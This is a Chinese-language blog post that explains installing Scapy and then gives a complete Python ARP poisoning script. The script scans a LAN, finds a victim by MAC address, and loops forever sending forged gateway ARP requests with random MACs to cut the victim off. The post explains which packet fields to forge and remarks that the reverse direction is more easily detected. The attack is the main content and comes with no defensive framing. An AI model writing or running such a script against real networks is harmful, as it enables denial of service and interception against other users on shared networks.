不久前才知道scapy这个工具,相见恨晚。其强大在于可以修改数据包,基于python,使用更加方便。真正开始研究TCP/IP是在半年前,本人不才,拿着FreeRTOS-TCP/IP源码看了个把月,仍然迷茫,好在TCP/IP协议部分明白了很多。一个月前接触Python,目前正在慢慢熟悉。
Ubuntu14.04安装scapy
由于我的系统已安装Python2.7,但是没有安装pip,这里首先安装pip
1 sudo apt-get install python-pip
如果失败的话可以尝试如下一句
1 sudo apt-get update --fix-missing
pip安装完成之后,安装scapy
sudo pip install scapy
至此,scapy安装完成,如下可以测试以下
vmuser@Linux-host:~/桌面$ python Python 2.7.3 (default, Oct 26 2016, 21:04:23) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from scapy.all import * >>> a = IP() >>> a <IP |> >>> get_if_hwaddr("eth0") '00:0c:29:70:b1:85' >>>
eth0是我的网卡。
Python3.6
pip install scapy
或者是
pip3 install scapy-python3
ARP ATTACK EXAMPLE (1)
ARP攻击的原理略谈一下,基本就是伪造报文,污染主机或网关的arp缓存表,复杂一些的就要佯装网关,中间攻击。限于本人水平,怎么简单怎么来吧。
#! /usr/bin/env python from scapy.all import * import time import random import os def GetSubNet(OurIP): Index,SubString = 0,"" while True: num = OurIP.find('.',Index) if num != -1 : Index = num + 1 else : SubString = OurIP[:Index];break return SubString def GetMac(tgtIP,Retry=4): cnt = 0 try: while cnt < Retry: tgtMac = getmacbyip(tgtIP) if tgtMac is None:print("Get Mac of IP <%s> failed...Will Retry the <%s> times"%(tgtIP,cnt));cnt += 1 else:return tgtMac except: print("Get Mac of %s failed..."%tgtIP) return None def GetBrocastIP(OurIP):return GetSubNet(OurIP) + "255" def GetForgedIP(OurIP,Num): SubString = GetSubNet(OurIP) ForgedIP,i = [],0 while i < Num: num = int(random.uniform(0,255));TempIP = SubString + "%d"%num if TempIP == OurIP:continue else:ForgedIP.append(TempIP);i += 1 return ForgedIP def GetForgedMac(OurMac,Num): ForgedMac,j = [],0 while j < Num: while True: i,TempMac = 0,"" while i < 6: num = random.randrange(0,256,1) TempMac = TempMac + "%02X"%num if i <= 4:TempMac = TempMac + ":" i += 1 #Almost impossible that a forged MAC is our own. if TempMac == OurMac:pass else:ForgedMac.append(TempMac);j += 1;break return ForgedMac Table = {} def ScanfByArp(OurIP = "192.168.0.1",Start = 0,End = 255,TimeOut = 3,ClearAtFirst = True): if ClearAtFirst is True : Table.clear() SubString = GetSubNet(OurIP) ip = [] for num in range(Start,End+1):ip.append(SubString+str(num)) ans,unans=srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(op=1,pdst=ip),timeout=TimeOut) def GetArpResult(r): Table[r.sprintf("%ARP.hwsrc%")] = r.sprintf("%ARP.psrc%") return r.sprintf("%ARP.hwsrc%\t%ARP.psrc%") g = lambda(s,r):GetArpResult(r) ans.summary(g) def GetIpByMacWithRetry(Mac,Retry=4,Delay=4): for i in range(0,Retry + 1): time.sleep(i*Delay) ScanfByArp(Start=100,End=150,TimeOut=5,ClearAtFirst=True) Res = Table.get(Mac) if Res is not None:return Res else:print("Can not get ip of <%s>"%Mac);return None def Attack_MAC(Face,GWIP,MAC,PackNum,Counter,Interval): MY_ip = get_if_addr(Face) MY_mac = get_if_hwaddr(Face) if MY_ip is None or MY_mac == None:return print("%s -> %s"%(MY_ip,MY_mac)) BctIP = GetBrocastIP(MY_ip) Bct_mac = "FF:FF:FF:FF:FF:FF" print("%s -> %s"%(BctIP,Bct_mac)) GW_ip = GWIP GW_mac = GetMac(GW_ip) if GW_mac is None:return print("%s -> %s"%(GW_ip,GW_mac)) XM_mac = MAC XM_ip = GetIpByMacWithRetry(XM_mac,4,4) if XM_ip is None:return print("%s -> %s"%(XM_ip,XM_mac)) cnt = 0 while True: Temp_mac = GetForgedMac(MY_mac,PackNum) Temp_ip = GetForgedIP(MY_ip,PackNum) PKT = Ether(dst=XM_mac)/ARP(op=1,psrc=GW_ip,hwsrc=Temp_mac,pdst=XM_ip,hwdst=XM_mac) try:sendp(PKT,iface = Face);cnt += 1 except:print("!!Send Error!!") print("Will sleep for %s S and had sent %s PKTs"%(Interval,cnt)) time.sleep(Interval) if Counter == -1:pass else: if cnt >= Counter:return def EnsureWifiConnection(GWIP="192.168.0.1",Interface="eth0",Delay=2): ''' GWIP:your gateway's ip Interface:the network interface you want to use Delay: ''' if IsWifiWorkWell(GWIP) is False: print("Will restart the interface <%s>"%Interface) os.system("ifconfig %s down"%Interface) time.sleep(Delay) os.system("ifconfig %s up"%Interface) time.sleep(Delay) os.system('sudo /etc/init.d/networking restart') time.sleep(Delay) print("Network restart finished...") return True else:return False def IsWifiWorkWell(GWIP = "192.168.0.1"): ''' To check whether the wifi is working well by acquiring GWIP's MAC(Usually our gateway's IP) ''' if GetMac(GWIP) is None:return False else:return True if __name__ == "__main__": #while True: #AttackIP("192.168.0.108","wlan0",10,60,"192.168.0.1") #AttackMac(Mac,face,Num,Interval,GW_IP): #AttackMac("C8:3A:35:C0:05:15","wlan0",2,2,"192.168.0.108") #num=0 #while num < 0: # num = num + 1 # time.sleep(60) # print(num) while True: EnsureWifiConnection() Attack_MAC("ens33","192.168.0.1","04:e6:76:46:a6:f3",60,300,1)
代码执行过程简介:
首先调用函数Scanf扫描局域网,获取当前活动主机的IP-MAC信息,并保存在字典Table中,搜索目标MAC获取其IP地址,这样我们便可以此伪造数据包。
如下语句便是整个程序的核心--伪造数据包。
PKT_2 = Ether(dst=XM_mac)/ARP(op=1,psrc=GW_ip,hwsrc=Temp_mac,pdst=XM_ip,hwdst=XM_mac)
dst:以太网层目的地址
src:以太网层源地址,默认填写我们自己网卡的地址
op:ARP类型(1:请求,2:应答)
psrc:ARP层源ip地址
hwsrc:ARP层源mac地址
pdst:ARP层目的ip地址
hwdst:ARP层目的mac地址
我们模仿网关向目标发送ARP请求报文,目标收到此请求之后会更改自己的ARP缓存,再发送ARP应答。然而,请求报文中的网关MAC是伪造的,也就是说目标记录了一个假的网关MAC,但是他的ARP应答会发给谁呢?会发给攻击者,因为以太网层的源地址是我们自己!!这样我们便能判断目标是否上当(然而我并没有用到到这个功能)。
如下语句发送报文。
sendp(PKT_2,iface = Face)
当然也可以假装目标向网关发送请求报文,如下:
#PKT_1 = Ether(dst=GW_mac)/ARP(op=1,psrc=XM_ip,hwsrc=Temp_mac,pdst=GW_ip,hwdst=GW_mac)
但是这样容易使得网关发送大量广播报文,这样很容易被发现的。